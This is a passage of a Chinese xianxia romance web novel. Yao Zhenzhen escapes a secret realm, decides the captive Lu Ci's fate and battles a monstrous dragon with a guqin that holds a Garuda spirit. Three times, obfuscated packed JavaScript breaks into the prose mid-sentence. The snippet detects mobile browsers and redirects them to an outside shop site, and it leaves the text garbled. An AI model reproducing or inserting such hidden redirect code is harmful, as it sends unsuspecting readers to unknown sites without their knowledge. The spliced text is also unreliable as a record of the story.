“那边不行,”他哭笑不得的伸手,示意她看他掌中之物,“剑冢这一层是在秘境的中部,往上是另外的第三层,想要出去会花更长时间。” 姚珍珍颇有些失望的低下了头,目光注意到了还被锁住的鹿慈。 “对了,鸣臻,”她伸手,剑阵中几柄灵剑顿时震颤不止,“这个是应滕手下的人……你有暂时压制心蛊的办法吗?” 鹿慈扯起嘴角,微微笑了一声。 “师姐,何须如此费心……啊!” 姚珍珍单手拔出了贯穿他肩胛的长剑,挑起了一边眉毛: “嗯?你说什么?” 鹿慈的五官都因这一下剧痛而扭曲皱缩起来,他咬牙硬捱了一阵,再次开了口。 “……师姐离开秘境之后,把我杀了便是。” “只要不是死在连杀山,应滕就无法再将我复活,”少年捂住肩胛伤口,单手撑着地面坐了起来,“我活够了。” 姚珍珍将剑上血迹甩去,有些莫名地看了他一眼。 “刚刚跪地祈怜,想要活命的是你,现在又摆出这样一副慷慨就死的样子,”少女抬手,掂了掂手中剑刃的重量,“这么一会儿,你这是想弃暗投明了?” “也行,趁现在,把你知道的都说出来,我送你一个痛快。” 鹿慈忍不住笑了一声。 “师姐,我只是应滕手底下最微不足道的一颗棋子而已,所知道的并不多。”他叹息一声,微微仰头,竟然真的好像开始思索回忆起来。 “我能说出口的很少,一些隐秘只要提及,他就会有所感应,”鹿慈伸手指了指自己头,“若他有所察觉,现下与你们对话的就可以是他本人了。” 燕鸣臻的眉心拧了起来。 “鹿公子此话何意?” 自认为死期将至,鹿慈也懒得再扮演些什么温柔可亲的好人。他对剩下的两人视若不见,对燕鸣臻的问话只当是没听见,只转头与姚珍珍对话。 还是姚珍珍开口回答了燕鸣臻的疑惑。 “应滕所种心蛊,中蛊之人就是他的备用肉身,可随时为他调用。”她简单地解释了一句,一边将之前召来的灵剑一一归位。 听闻此言,燕鸣臻面色凝重许多,倒是一直默默跟在两人身后的白郁湄,听到她的话后便垂下了头,眼神微微闪烁。 “咳……是,”鹿慈捂住嘴,咽下了喉咙口窜上的一阵血气,“但七年前开始,他便再不能更换身躯了。” 看见少女脸上露出的错愕表情,鹿慈忍不住扯起嘴角。 “师姐,你在连杀山杀了那么多血灵傀,还将应滕本人当时附身的那具身体斩做了碎尸,中断了他的邪祀。” “他身上的伤口无法复原,又无法更换新的□□,因此恨毒了你。” “师姐,我能说的就只有这些了。” “鹿某平生做过恶事,但多为心不尤己,只是大错已成……师姐,此身一切由你处置。” 鹿慈长舒一口气,仰起头。 姚珍珍抿起了嘴唇。 燕鸣臻看见她的脸色,就知道她又要开始心软了。 “剑宗门内有一法器名唤魇声钉,将之钉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152543|133989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入心脉中,可以压制心蛊,”他看少女一脸纠结,最终还是叹息一声,开口道,“你若有意,去寻姚淼淼借来便是。” “我可暂时封住他的五感与神智,但若是六个时辰内不解开,他将自此魂散。” “便依你所说的来!”姚珍珍顿时眉头松开,眼睛一亮,一拍手掌,“我去找淼淼借那个、魇声钉!” 自顾自的做了决定,她再次转头,看向地上少年。 “鹿慈。”她开口喊他的名字。 少年抬眼注视她的面容。 “你的罪过不由我来判决。” “我会送你去洛萍。”她说。 “我要你去陆眉山留下的止杀崖走一遭。” “若你能活下来,前尘旧孽,自此勾销。” ——止杀崖,洛萍书院与南陆之间所隔的一道天堑,由剑仙陆眉山一剑斩出,并有陆眉山所留下一道箴言“生杀止步于此。” ——举凡背负冤孽血债者,入此天堑,必受剑风凌迟,若能踏过此天堑而不死,便可入洛萍求学。 陆眉山所修为正道剑,止杀崖自成至今,从无错漏。 便是姚珍珍自己,第一次进入洛萍时背上也受了几道剑伤。 鹿慈显然也是知道止杀崖的名声的,他的脸色灰败了许多,嘴唇颤抖了几下,最后点了点头。 “好,我去。” *** 决定好了如何处理鹿慈,姚珍珍这才有心思考虑下一步的计划。 “这里可以吗?”她提起手中本属于鹿慈的那柄本命灵剑,跃跃欲试的朝下随手一刺。 剑锋坚韧,轻松便扎破地面碎石,没入底下土层中。 燕鸣臻朝她点点头。 “我在底下设一层隔绝的法阵,以免惊扰底下弱水,珍珍,你只需破开这一层秘境即可。” 许是察觉到姚珍珍的情绪因为他的话语而有些紧张起来,燕鸣臻扯起嘴角,露出几分笑意。 “可别再收不住手,当日你捅穿一个择仙台,可还记得赔了多少银钱灵珠?” 姚珍珍顿时被他的一下揶揄勾起了些不太愉快的回忆,嘴角一下撇了下去。 “……怎么还记着呀,”她鼓起脸颊,嘟囔道,“知道了,我会控制的。” 燕鸣臻手指戳了戳她的脸,微微笑道: “我就是后悔那时还未与你相识,若是那时与你相识……” 瞧见青年此刻脸上的神情,姚珍珍已经有所预感他要说些不着边际的话,着急的伸手就要去捂他的嘴。 只可惜她个子不高,一时反应也不够快,还是让青年含着笑把话说完了。 “若那时与你相识,我就替你把赔款付了,让你以身相许来抵债。” 37. 太阳 姚珍珍只庆幸此刻白郁湄与鹿慈都在他们两人身后,离此处有一段距离,应当既听不清他们交谈,也看不见自己脸上的绯红。 “你别贫嘴逗我了,”她伸手搓了搓发烫的脸颊,“法阵若是准备妥当,我便动手了。” “可不是逗你,我真是这么想的。”燕鸣臻却敛起笑容,正色道。 他半跪了下来,掌心贴着剑冢地面灰白的地面。 无形的灵光伴随着无数流窜的晦涩纹样以青年的掌心为中心迅速生长起来,那些寻常人看一眼便要被篡夺心智陷入昏迷的神秘阵纹在他的控制中相互纠缠勾连,最终构成了一个环环相扣的繁复阵法。 姚珍珍站在一边,看着他低头构筑用于隔绝的阵法。 从她的角度,可以看见被阵法灵光所映照着,青年侧脸的轮廓俊秀,形状优美的嘴唇紧抿,下颌线绷出一条锋利而流畅的线条。 青年侧脸的肌肤在地面次第亮起的光芒中更显冰白,鸦黑的睫羽微微垂下,遮住了他幽深的眼瞳。 老天爷,这可真是祸水……姚珍珍在心里发出一声没什么营养的感叹声。 美色当前,她心里不由蠢蠢欲动,有些克制不住的想伸手去碰碰他的脸或者眼睛之类,只是对方正在认真做事,理智让她不能随意出手搅扰。 姚珍珍于是将空着的左手手掌握起,食指与拇指交叠,聊胜于无地互相摩挲了几下。 “珍珍?”燕鸣臻收回手,看见她的动作,不由得疑惑地出声。 “咳,”她迅速松开了手,欲盖弥彰地轻咳一声,“完成了?” “是,”青年的眼睛狡黠地眯起,嘴角微勾,“珍珍,把你的手给我。” 他抓住少女略显粗糙的掌心,纤长十指挤进她的指间,以十指交握的姿态引导她触碰地面依然亮着的阵法。 “这里,感觉到了吗?”他一边说,目光却并不落在地面上,而是盯着少女的脸颊。 姚珍珍的目光不由自主的被地面依然在不断变换流动的阵法所吸引,她感受到掌心下阵法如心脏跳动一般地规律震颤。 “无论多么复杂的阵法,最终都是由最基础的阵纹组合而来,”燕鸣臻一手握住她的手,另一手不动声色的按在了少女的肩头,“这些数量庞大的子阵互相攒聚勾连时,就会有这样相交的节点。” “无论设计得如何精妙,也无论构筑者有多少巧思,这些节点的产生都无法避免,”他弯腰,从背后拢住了少女的身形,“这就是所谓阵眼。” “喔!”姚珍珍发出一声恍然大悟的惊叹,一转头,发现自己刚才还在垂涎的人已经自己脸贴着脸了。两人的鼻尖凑得极近,连呼吸都交缠在一起。 她惊得差点一下弹出去,好在燕鸣臻还按着她的肩膀,没让她就此逃走。 “当啷”一声,是姚珍珍手中从鹿慈处借来的灵剑不慎脱了手,落在了地面上,激起阵法层层涟漪。 燕鸣臻握住姚珍珍空置的右手,贴上了自己的脸颊。 “离开此处秘境后,我们便又是素昧平生的陌生人了,珍珍,”他目光深深地望着她,声色缱绻,充满诱惑地低语道,“趁着还有时间,想做什么就做吧。” 姚珍珍被他这一路上各种接二连三的小动作搞得颇有些心猿意马,此刻听他一说,顿时恶向胆边生,食指一张直接捏住了对方的一侧脸颊,用力向外拉。 看见对方满脸深情的表情被自己的动作硬生生扯得变了形,姚珍珍不由得发笑。 “哈,我老早就想这么捏你一次了,”她松开手指,看见青年如玉的皮肤上,一边脸颊多出两个泛红的指印,忍不住又伸手揉了揉泛红的地方,“别闹我了,我们真的得出去了。” “你站得离我远些。”她弯下腰去捡起剑。 “……好吧,珍珍,你先听我说完,”燕鸣臻无奈摇头,依言站远了些,“阵法虽然都有阵眼,但精明的筑阵者不会如此简单让人破阵,我带你找到的,是我留下的安全阵眼。” “此处秘境总共有九十三处真实的阵眼,其中只有四个是安全的。” “嘶……”姚珍珍不由得抽了一口冷气,“那些不安全的阵眼,若是强行突破会怎么样?” 燕鸣臻轻轻笑了一声。 “这处秘境是为了择选浣金仙试的武试魁首而设……珍珍,我当然不会为难那些参选之人。” “阵眼处叠加一些反制的小法术,只是让他们吃点小苦头……并不致命。” “但你若是遇见他人所设阵法,珍珍,最好不要贸然去惊动阵眼。” “不是每个阵主都留有慈心,小心驶得万年船。” 他说的认真,姚珍珍听得也仔细。她仔细回想了一下过往经历,不由得庆幸自己过往运气竟然还算不错。 “你这么一说,总感觉我对阵修的刻板印象又要增加了……” “不过,我明白了,我会小心的。”姚珍珍笑着点了点头,单手提起长剑。 少女脸上笑意倏忽褪去,她垂下眼睛,凝神注视着地面,神情专注而肃穆。 起风了。 剑冢中当然不会有风,这里是万剑坟场,镇压者修真界上千年来无数失主的灵剑,再凶戾的邪物都不敢靠近剑冢半步。 但此刻所有人都能感受到那股“风”。 它自四面而来,裹挟着剑冢中千年累积的杀气与剑意,以持剑的少女为中心盘旋、凝聚,最终顺驯地缠绕上她手中剑刃。 插在地面上的一柄柄灵剑随着“风”而颤抖起来,剑鸣声相互交织,组成了一支别样的乐曲。 “这是……”白郁湄不由得瞪大了眼睛。 “万剑来朝……”燕鸣臻轻声开口,“剑仙再世,也不过如此了。” 他凝视着少女挺直的脊背,眼神深邃而狂热。 姚珍珍手中长剑的灵光在风声中随之暴涨,亮得让人不敢直视。 她握着剑,宛如握住一轮耀眼的太阳。 “这话就有点夸张了,”姚珍珍忽然回头,语气轻松的开口说道,“微末技艺,怎么敢与陆院长相提并论呢?” 少女手中刀剑力有千钧,刺破幻境不过挥手而已。但此刻幻境中有弱水深潭…… 她要做的不是拼尽全力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“哗啦”一声,巨浪当头而来,猝不及防间,她被从头到尾淋得湿透,巨大的推力使她踉跄着向后坐倒在地,手中握着的长剑也脱了手。 “咳咳咳!”她还没有反应过来,便感觉到自己已经不由自主地呛咳了起来。 “咳咳!”姚珍珍咳嗽着,一边单手撑着地面,站了起来,随即发出一声惊叹声,“喔!这么多人!” 他们离开秘境的落点恰好在泗水河边裸露的河滩上,睁眼所见便是怒涨的河水与其中正在四散奔逃的水妖们。 “珍……白姑娘!”忽然有人的声音从不远处传来,姚珍珍循声望去,看见岸边凸起的礁石上,燕鸣臻正半跪着望向自己,他的身边躺着已失去知觉的鹿慈。 “顶上!”燕鸣臻大声喊道。 姚珍珍抬头。 她的瞳孔猛地缩紧了。 定流坡的地势并不陡峭,而是平缓的斜面,底下的人可以很清晰的看清顶上的情势。 所以她能一眼看见,坡顶嶙峋的碎石间,半跪的少女与她身边浑身是血的青年。 他们脚下血色的阵法正闪烁着黯淡的灵光,摇摇欲坠地将要熄灭。 而恶蛟的巨口已逼至两人眼前。 38. 抚琴 蛟者,龙属也。 虽然真龙早已绝迹于此方世界,但各类介绍妖兽异种的古籍都留下了关于此物种的字画记录。 ——龙属下诸多异种,有鳞无角或单角的,可称蛟龙;顶生双角而周身无鳞则为虬龙;无角无鳞却生龙爪,则为螭龙。 然而眼前所见恶蛟,顶带单角,身覆黑鳞,背后则生得一对畸形肉翼,似蛟而非龙,活脱脱一个四不像。 也难怪姚淼淼要称其为“邪术拼接的赝品”,盖因它的形貌,实在与寻常妖兽相去甚远。 而此刻这不知何人所作的孽龙一口咬上了阵法所筑的结界,一阵不祥的龟裂声从透明的防护罩上传来,阵中少女脸色随之愈发苍白。 即使是此刻正站在坡底的姚珍珍,也能看得出她如今已近力竭的姿态。 未有多思,姚珍珍提剑便要上前相助。 “白姑娘!”燕鸣臻却出声阻止了她,“永固明宫是大禁术级别的防护法阵,汲取的并不是阵主之血!他们还能再支撑十五……十二息时间。” 他的眼神坚定,让人不自觉便信服。 姚珍珍热血上头的脑子也随之冷静些许,她再次抬头,果然发现地面流动的血色阵纹源头并不是半跪的少女,而是她身边站着的浴血青年。 ——林羽觞手中恨骨正横过掌心,淋漓的浓稠妖血随之滴落,汇入地面闪烁的阵法中。 “寻常刀兵很难伤到此等妖兽,你先用这个!”燕鸣臻一甩袖,向着姚珍珍抛去一物,“替我争取一刻钟时间!” 青年说完,低头在腰间储物的灵器中取出一盅灵砂,手腕一抖,亮闪闪的稀碎粉末有生命般随之悬浮在了他的掌心上方。 姚珍珍知晓对方已有应对的阵法,她抬手接过燕鸣臻扔来的东西,只觉手中之物冰凉光滑,低头一看,青年扔来的是一块储物的玉珏。 她以为其中存着什么屠龙宝剑,当即自信一点头。 “好!” 女子手中玉珏随着灵力输入微微发烫,她满心期待地伸出手—— 然后差点被手中重量压了一个趔趄。 落入姚珍珍掌心的不是什么刀剑之类的神兵利器,而是一把沉重的古琴。 “……” “……” 玩我呢?姚珍珍心头飞快地滑过一大片问号,转头就想去找燕鸣臻问个清楚,眼角余光却瞥见坡顶二人已见油尽灯枯之色。 【“姐姐!要来不及了!”白郁湄适时地在内府中补充道。】 姚珍珍硬生生停下了回头的动作,一咬牙,古琴沉重,她单手怀抱着琴身,另一手勾住滞涩的琴弦,灵光从她的指尖亮起。 一阵及其尖锐的刺音旋即自她手下发出,伴随着一阵凄厉的鸟鸣,饶是姚珍珍自己都被吓了一跳。 这什么东西?她惊疑不定地低头看了一眼怀中古琴,手上动作却不停,几根琴弦被她毫无章法地来回弹拨,琴音生生如裂,裹挟着不知何来的禽鸟嘶鸣声直逼坡顶恶蛟而去! 琴声凄厉入耳,孽龙冲撞结界地动作竟真的随之一滞,背后怒张的两张肉翅也猛然一缩,尚且完好的那只金黄眼瞳中流露出惊疑畏惧的神色来。 “什么动静?”阵中半跪的“姚珍珍”也听见了那声音,她皱了下眉毛,抬起头。 “……是琴声,”林羽觞持剑的力气一松,掌心伤口随即翻卷蠕动着开始愈合,“声音从坡底传来的,此处支持不了多久了,走!” 眼见孽龙被这诡异琴声所惊而犹疑不定,趁着“永固明宫”的防护还未完全失效,他一把将少女提起,飞身向着琴音响起处奔去。 【“姐姐!他们过来了!”】 白郁湄还在内府中说话,姚珍珍却已无暇再分心。 这具古琴不知是何来历,自她开始弹奏起,浑身灵力便如开闸的水流一般从指尖倾泻而去,琴弦在她手下振动不止,那些刺耳尖锐的琴音却已完全无法传入她耳中。 一只……或许不能称之为手,一只爪子覆盖上了她拨动琴弦的手指,三根勾起的尖锐趾爪紧贴着她的手背,按住了她还要继续弹奏的动作。 “姑娘……”爪子的主人发出一声叹息,声音清脆如雏鸟春鸣,只是话语的内容却不太动听,“你真是我见过最差劲的演奏者。” 姚珍珍:“……” 她挺想说你行你上的,但是现在毕竟情势不同。 这长着两只爪子的鸟人显然不是个活人,而是一个“器灵”——妖灵精怪之流,不似人族拥有三魂七魄,可入轮回转生。若是不愿身死即魂散,则可选择寄宿于各类法器中。 燕鸣臻给她的这把古琴,显然便是个伴生器灵的老古董。 “姑娘,我看你也别弹了,听得我头疼,”鸟人语气仄仄地开口,“平白无故地扰人清梦,真是作孽。” “迦楼罗是龙属亚种的天敌,我的声音可以暂时吓住那条小龙,但你这样乱弹一气,不过暴殄天物……”迦楼罗的声音幽幽落下,语气中充满怨怼。 原来是头迦楼罗,难怪鸣臻选了这把琴给我……就是这器灵有点啰嗦。姚珍珍心里一边想着一边微微点头,伸手又要接着弹奏。 “嘶……我如今无形无体,只是琴音,并不能压制那条蛟龙几息,若他反应过来受了幻像蒙蔽,定然更加恼怒……”眼见着她又要折磨自己的耳朵,迦楼罗慢吞吞的声音不免加快几分,“你答应我不再弹奏这琴,我便有法子替你拖得再久些。” “当真?”姚珍珍立刻松开了些指尖琴弦——说实话这种精细活她也早不耐烦再做,“你要如何做?” “我已是器灵,要如何用我的力量,当然是要看持琴者有什么本事了……”迦楼罗的笑声低低地响了起来,“让我来瞧瞧,你能为我提供些什……” 他的话语伴着笑声忽然一同戛然而止,像是被人忽然掐住了脖子似的。 姚珍珍:“?” 时间紧迫,她没空再与这鸟人周旋,见对方一下噤声,右手再次勾住琴弦一拨! “等等等等!”迦楼罗立刻叫出了声,急切得几乎要发出鸟鸣,“别弹了别弹了!” “真是没想到能在这里遇见您,”他的声音中满是讶异,倒是绝口不再提所谓“看持琴者本事”之类的说辞,语气音调也低沉许多,“我会幻化出迦楼罗的本相……料想能唬住他一时,至于接下来的,便交给您了。” 他的话音落下,姚珍珍忽然听见身后传来了振翅的风声。耀目的金光从她怀抱的琴身上升腾而起,徐徐在半空组成了一只巨大的鹏鸟幻影。 深蓝天幕下,迦楼罗纯金的羽翼张开,仰天发出一声清啼! 追来的恶蛟正对上了金翅大鹏张开的鸟喙,气势顿时便低落许多,它蛇形的龙身再次谨慎的盘起,显然对眼前这突然出现的金色大鸟感到了天然的畏惧。 姚珍珍抬头望天,入目所见尽是炫目的金光,大鹏虚幻而华美的纯金羽翼拂过泗水河畔,洒下粼粼波光。 “这也太酷了……”她不由得张开嘴,有些不找边际地感叹了一声。 但她还没有来得及感叹更多,借着漫天金光的掩盖,坡顶的二人已向着此处一路飞奔而来。 “师……白姑娘!”林羽觞看清了抱着琴的女子身影,眼睛倏忽一亮,险些脱口喊出一句师姐,直到他看见姚珍珍身后正低头描画阵纹的燕鸣臻,才紧急地换了称呼。 姚珍珍的目光落在他浑身被龙血灼烧出的伤口上,不由得轻轻抽气。 “幻影支撑不了多久,你们身上有伤,不要硬撑,”姚珍珍半侧过身体,示意两人到她身后去,“三殿下正在后方设阵,我来为他争取时间。” 她的左手还抱着那把巨大的古琴,另一手握着一柄长剑,剑尖朝下,斜指着地面。 “珍珍,到我这边来。”身后忽然传来燕鸣臻的声音,姚珍珍下意识地一转头,忽然意识到对方喊的不是自己。 她面无表情的把头又扭了回去,一边撇了下嘴角。 而另一边被林羽觞搀扶着的“姚珍珍”在听见燕鸣臻的呼唤后,几乎是条件反射地同步撇了撇嘴。 “姚珍珍”的目光在燕鸣臻铺好的阵基上一扫而过,脸色微微一动。 “斲丧阵……” 作为墨展宗曾倾力培养的钜子候选者,巫尚于机巧工物一道上天赋过人,连带着对符箓阵法也颇有见地,因此一眼就能看出燕鸣臻此刻所布之阵并非寻常困阵,而是极其凶恶的杀阵。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13235259|133989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “夺魂噬魄,永不超生……殿下,如此大动干戈。”“她”皱起眉头,转头紧盯着青年的面孔。 “若不能彻底毁去,便总会有人还想去造一条真龙出来……”燕鸣臻张开手掌,亮银色的液体自他纤长的指间漏下,落进地面刻出的凹槽中,旋即沸腾般翻涌起来,“不若就此……斩草除根。” “斲丧之法,有伤天和,”“她”冷声道,“殿下是自认天道垂爱,可寿元无穷了么?” 姚珍珍站在众人前方,把他们的对话囫囵听了一耳朵,但她一边分心盯着前方迦楼罗幻影与恶蛟的斗法,另一边又对两人话中几个晦涩词句一知半解,只听见巫尚所言“有伤天和、寿元”之类的词句,便忙忙地回过头。 她还没来得及说些什么,燕鸣臻却是勾唇一笑,似是无意般向着她的方向略转过头。 “珍珍,我当然不会如此妄自尊大,但还请你信我。” 姚珍珍还想说点什么,内府中却传来白郁湄的一声惊呼。 【“幻影被识破了!姐姐小心!”】 姚珍珍猛地抬头,苍蓝天幕下,迦楼罗纯金的羽翼依然华美如昔,但被它吓住的孽龙却已反应了过来,它盘起的蛇尾忽然猛地向半空中的大鹏鸟抽去——理所当然的,蛇尾穿过了金色的虚影,狠狠抽打在了地面上,溅起碎石无数。 被愚弄了的恶兽仰天发出一声怒极的嘶叫,金黄瞳孔中隐约可见癫狂血色。 “咚!”的一声,是姚珍珍将已失去作用的古琴扔在了地上。 女子单手持剑,迎上了已然狂怒至极的孽龙! *** “迦楼罗……”姚淼淼仰头望向天穹中金色的大鹏鸟,喃喃出声,“是南燕皇室珍藏的那九把凤凰琴之一……他们从秘境中出来了?” 她转头看向身边水妖,想让对方将自己带去岸边,可水妖此刻仿佛受了极大的刺激,宽阔的脊背弓起,硕大鱼尾上肌肉寸寸绷紧,深蓝的鱼鳞片片怒张开来,英俊的面孔扭曲着皱成一团,牙关紧咬,似乎是十分痛苦。 水妖尖锐的利齿在用力中咬破了自己的下唇,但他似乎完全未曾察觉到疼痛,几片透明的耳鳍垂落下来,掩住了脸边的耳孔。 姚淼淼的目光落在他海藻般滑落的长发间,不由得一怔。 “龙角……”她喃喃道,女子扭头看向天边,金色的大鹏虚影对上了定流坡上畸形的蛟龙,天生的血脉压迫让来势汹汹的恶龙也一时落了下风,“你也将要化龙了……” 她再次回头看向身边水妖。 对方显然也受到了迦楼罗幻影的压制,一时之间是无法再提供什么帮助了。 姚淼淼当机立断抛下了这个难以沟通的临时盟友,洑水向着岸边而去。 河水冰冷,所幸她的水性尚可,甩去一件累赘的外衫后,姚淼淼的脚尖终于碰上了崎岖的河床。 “呼——”她长出一口气,正要走上陆地,身后却忽然传来一声巨大的水声。 一道巨大的黑影从她的头顶飞掠而过,溅起的水花再次将她头脸浸了个湿透。 “咳咳!噗咳咳!”她费力的抹开脸上沾湿的发丝,睁眼便看见一条粗壮的蛇形长尾正朝着自己横甩而来! 她惊骇中下意识向后仰去,只剩里衣的后背却触到一块冰冷的肌肤—— “!”姚淼淼的双肩一耸,下意识的将手中匕首向后一刺! 身后传来一声嘶叫,声音却是熟悉的。 下一秒,一道金芒紧随而来,就在她眼前,凌厉剑光以雷霆万钧之势,深深刺进了蛇尾两片鳞片的缝隙中。 浑浊的妖血噗呲一声顺着剑刃淌进了泗水河中,执剑而来的女子动作却完全未受阻碍,手腕翻转间,剑光如龙舞动,伴随着令人牙酸的切割声响,恶蛟的一段尾尖便被她生生剜了下来! “淼淼?”姚珍珍抬眼看见了水中之人,浑身杀气顿时便是一敛。 “噗通”一声,被她斩下的一截断尾顺势落进了水中,丝丝缕缕的浓稠妖血飘散在河水中。 恶蛟顿时发出一声惨痛的嘶鸣,声势之大震得地面都仿佛在颤抖。 汹涌奔流的河水中,一只带蹼的爪伸向了那段尤在抽搐不止的狰狞蛇尾。 39. 沸血 受伤的恶蛟吃痛跌进了冰冷的河水中,细长龙身翻滚着拍打浅水处裸露地河床。 姚珍珍的眉心一拧,手中剑花一挽。 “此处不宜久留,尽快上岸。” 她伸出手,单手按住姚淼淼只披着单薄里衣的左肩,轻轻向着岸边一推,示意对方离开。 姚淼淼身不由己的向前几步,走上了河岸,她回过头,看见持剑的女子身形一闪,几乎是瞬息便已离开了原处,消失在汹涌的河水中。 “师姐……”她的浑身湿透,精心盘好的发髻也已散开,一绺绺的贴着额边垂下,露出女子秾艳的五官,唇色因寒冷而格外浅淡,更显得一双眼眸瞳色幽深,脉脉含情。 姚珍珍没有回头,河水冰冷刺骨,她浑身血液却滚烫如沸。 ——是真正意义上的“沸腾”。 女子身上的衣物因湿透而紧贴着皮肤,又因为不断升高的温度而不断蒸腾起蒙蒙白汽——灵气以堪称恐怖的速度在她身体的四肢脉络中疯狂运转,肉体凡胎毕竟不是机巧工物,如此癫狂的透支,不可避免便要出现此番情状。 她在翻涌的泗水河中挥剑,连可包容万物的水流都不得不避开那剑锋。 恶蛟作为妖兽的生存本能让它疯狂地拍打起身后肉翅去逃命。硕大的龙身此刻反而成了累赘,它恨不得将自己盘成一团,好躲避对面杀神的剑光。 “躲什么?”姚珍珍脸上扯起一个堪称可怖的笑容,女子的脸颊因为灵脉的过载而烧得通红,一双眼睛却透出纯粹而冰冷的杀意,“我的剑既已出鞘,便没有空回的道理。” “……你总要挨这一下的。” 她手中灵剑随之兴奋地嗡嗡颤抖起来——屠龙剑的名号,世上可没有几柄灵剑能得到。 “噗呲——哗啦”灵剑的剑尖以刁钻的角度刺入恶蛟腹部细软的鳞片间,姚珍珍双手握住剑柄,重重向下一拉! 随着浓稠妖血的喷薄而出,大堆污浊恶臭的脏器与血肉哗啦啦地从被开膛破肚的恶蛟下腹部流淌了出来。 “想起来了没有?”具有强腐蚀性的液体喷了她满身,姚珍珍却不躲也不避,只是微微偏了偏头,几滴液体溅到了她的鬓边湿发上,“噗呲”一声烧出一缕白烟。 而剩下浓稠的妖血浇在她身上,却仿佛被她滚烫的体温所点燃一般,立刻便噗呲噗呲地沸腾起来。 猩红的蒸汽绕着她的身体蒸腾而起,仿佛半空中升起了一个骇人的血色人影。 而造成这恐怖一幕的怪物正双手持剑,随意地在恶蛟腹部横向切割起来。 “记得吗?上一次,我就是从这里剖开你的肚子——”姚珍珍似乎是想起了什么,一边动作一边癫狂地大笑起来——看起来她的脑子也在过高的温度中失去了控制。 “——然后把你开膛破肚,扒皮抽骨的!” 血腥的杀欲从灵魂深处翻涌而出,她手中剑刃还插在恶蛟博博弹动的肚腹血肉中,“咯嚓”一声,剑锋撞上了某个坚硬的阻碍,发出一阵震颤的锋鸣。 若是常人,此时定然要扭转剑锋,再选薄弱处动手。 姚珍珍被热血灌满的头脑却不管不顾,完全没有退缩的意识。 女子双手持剑下压,手背上根根血管凸起又爆开,在青白的肌肤下留下片片淤红的瘢痕。 她的眼神冰冷而明亮,与头顶恶蛟金黄的瞳孔对视数秒。 下一秒—— “白姑娘——!”来自身后的呼唤声与骨骼碎裂的脆响几乎是同时响起。 姚珍珍手中力道蓦然一松——不是她突然良心发现收手,而是那柄从鹿慈处借来的灵剑终于承受不了如此丧心病狂地透支使用,在最后一次撞上坚硬的蛟骨后,猝然断裂。 “呃!”躺在燕鸣臻身后,陷入深度昏迷中的鹿慈面上忽然不由自主地出现一个痛苦扭曲的神色。 突然的折剑的确打断了姚珍珍的虐杀,她身体随着支撑的失去,不由自主的向前一扑! 孽龙金黄的瞳孔中,瞳仁因痛 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“阳明之精……神威藏心,”他开口,几乎是一字一句的念出口诀,同时迈步,向着河水中走去,“收摄邪祟,遁隐妖魔……斲丧阵起,崇魔无迹,诸恶弥平,无有违逆!” 燕鸣臻出手阻止了恶蛟的绝地反扑,姚珍珍却还杀红着眼,眼见对方反抗无能,她手指一拧,就要赤手再上前—— 【“姐姐……”白郁湄忽然在内府中发出一声虚弱的呼唤。】 【“对不起,我要……呃……”】 她的话只说了一半便戛然而止。 众人眼中,刚才还满身煞气要徒手虐杀对方的女子忽然仿佛被人一下抽走了力气,直挺挺地向前栽倒下去。 “!!!” 这一下的惊吓非比寻常,河岸上几乎所有还清醒的人都被她忽然的动作吓了一跳,姚淼淼更是直接惊叫出声来。 “噗通”一声,姚珍珍正面朝下,倒进污浊的河水中。 40. 梦魇 姚珍珍再一次坠入梦境中。 灵魂深处熊熊燃烧的杀欲还未能得到足够的抚慰,但孱弱的肉体凡胎已无力承载她更多的恣意挥霍,随着白郁湄的一声哀鸣,两人同时落入深黑的梦魇中。 炙热的、燥郁的、苦痛的火焰灼烧着她的灵魂,令她忍不住的发出嘶哑的无声惨叫。 有冰凉的触感落在她滚烫的肌肤上,似乎是有人伸出手指,在她的额间勾画描摹着什么。那阵冰凉从她的额头一路传进四肢百骸中,稍微缓解了来自灵魂深处的那份诡异的灼痛感。 她想要睁开眼睛,却很迟疑地意识到自己实际上并没有闭眼——或者说,此时此刻,她睁大的眼珠上,似乎并没有眼皮这个东西。 永无边际的黑填满了她所能看见的每个角落。 姚珍珍感觉到了困惑,她张开嘴想要询问,但空荡荡的口腔里没有舌头,无论如何努力也说不出完整的词句。 这个诡异的梦境持续了很久,她像是被困在身体中的囚徒,唯一能感觉到的便是头顶手指不断游移的冰冷触感。 终于,冰冷的感觉离开了。 姚珍珍听见一声长长的叹息,那声音离她很近,她努力睁开眼睛,依然什么都看不清。 “……替你……取走……”有人在说话,只是声音模糊不清,姚珍珍费力的去听,也只能听见几个语焉不详的词汇。 是谁?她逐渐熄灭的心火中生出丝丝缕缕的疑惑,又很快溺毙于铺天盖地涌来的困倦中。 她没能再听见什么,只是在梦中再一次陷入深眠。 *** 白郁湄也在做梦。 身体的超量透支对她造成了不小的负担,因此在梦境中,她再次回到了最弱小的时候。 有人捏住了她的脸。她的下颌被一个坚硬而冰冷的东西抵住了,那人用的力气并不小,她感觉到一点细微的疼痛。 “长得倒是不错。”那人开口说话。是个有点熟悉又有些陌生的女人声音。 白郁湄的意识恍惚了一下。 